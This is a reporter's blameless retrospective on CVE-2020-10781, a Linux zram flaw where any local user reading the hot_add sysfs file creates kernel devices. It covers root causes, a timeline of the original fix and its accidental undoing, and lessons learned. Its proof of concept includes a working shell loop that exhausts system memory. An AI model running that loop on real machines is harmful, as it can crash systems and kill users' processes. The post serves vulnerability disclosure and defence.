CVE-2020-10781 retrospective (zram hot_add local DoS)
This page contains a blameless retrospective analysis on CVE-2020-10781, from the point of view of the reporter (me). This analysis has NOT been externally reviewed and may be biased/incomplete; private feedback and corrections are welcome!
Summary
CVE-2020-10781 is a local unprivileged memory exhaustion vulnerability in the zram
module of the Linux kernel. On a machine with the module loaded (or built-in), a local user can continually read the /sys/class/zram-control/hot_add
file and induce the kernel into consuming a large amount of system memory. Eventually this causes the system OOM killer to activate, terminating userspace processes and possibly making the whole system inoperable.
- CVSS v3 base score: 5.5 (Medium severity)
Proof of Concept (PoC)
$ ls -la /sys/class/zram-control/hot_add
-r--r--r--. 1 root root 4096 Sep 5 09:03 /sys/class/zram-control/hot_add
$ id -u
1000
$ cat /sys/class/zram-control/hot_add
1
$ ls -v /dev/zram*
/dev/zram0 /dev/zram1
$ cat /sys/class/zram-control/hot_add
2
$ ls -v /dev/zram*
/dev/zram0 /dev/zram1 /dev/zram2
$ while `true`; do cat /sys/class/zram-control/hot_add & done
...
==> The kernel eventually consumes all available RAM.
Root causes and trigger
- A special entry under /sys can be accessed in read-only mode in order to trigger the creation of kernel-owned resources
- The permission bits on the /sys entry (
0444
) allow any user to read it - Kernel development flow resulted in accidentally undoing a previous security fix (which wasn’t marked as such)
See the timeline section for all the details and code references.
Learnings
What can go better:
- Sysfs entries should not follow a design where a “read” action is used to “create” dynamic kernel resources.
- A CVE should have been assigned to the original permission fix (in 2016).
- A test should cover the permission on the problematic sysfs entry to avoid regressions.
- A least-permission approach should be evaluated for creating zram devices (e.g. can
CAP_MKNOD
be enough?).
What went well:
- Security team and kernel developers were quick to acknowledge the report and provide a patch.
Where we got lucky:
- Bug was easy to observe/reproduce and only medium severity.
zram
module is not (yet) very widely used, i.e. not loaded by default on many distributions.
Timeline
- 2015-05: zram
hot_add
feature is proposed. (LKML) - 2015-06:
hot_add
support is approved and merged. Reviews did not flag the “read-to-create” design nor the “all-read” permissions. (git) - 2016-12: sysfs entry permissions are patched to restrict to
0400
. No CVE is assigned nor test introduced. (git) - 2017-06: a
NOTE
is added in a source comment about the unusual “read-to-create” behavior. (git) - 2017-06: a project-wide rework unwittingly breaks
zram
build. - 2017-06:
zram
build is fixed. This results in undoing the previous permission fix. (git) - 2020-06: permissions bits on
hot_add
are reported as potentially problematic to Red Hat security team. (CVE-2020-10781) - 2020-06: permission bits are reverted to
0400
. No further regression test nor API deprecation steps are enacted. (git)